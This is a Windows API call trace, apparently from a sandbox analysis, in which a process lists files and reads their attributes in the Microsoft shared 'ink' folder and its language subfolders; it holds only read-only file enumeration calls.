	[0243.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.817] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0243.818] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.818] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.819] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.819] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0243.819] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0243.819] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.820] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.821] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.821] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0243.822] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.826] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.826] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.826] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.826] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.826] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.833] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0243.834] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.834] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.835] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.835] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0243.835] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.835] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200)) returned 1
	[0243.838] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200)) returned 1
	[0243.842] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00)) returned 1
	[0243.842] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00)) returned 1
	[0243.843] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800)) returned 1
	[0243.875] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0243.881] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.881] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.881] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.881] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
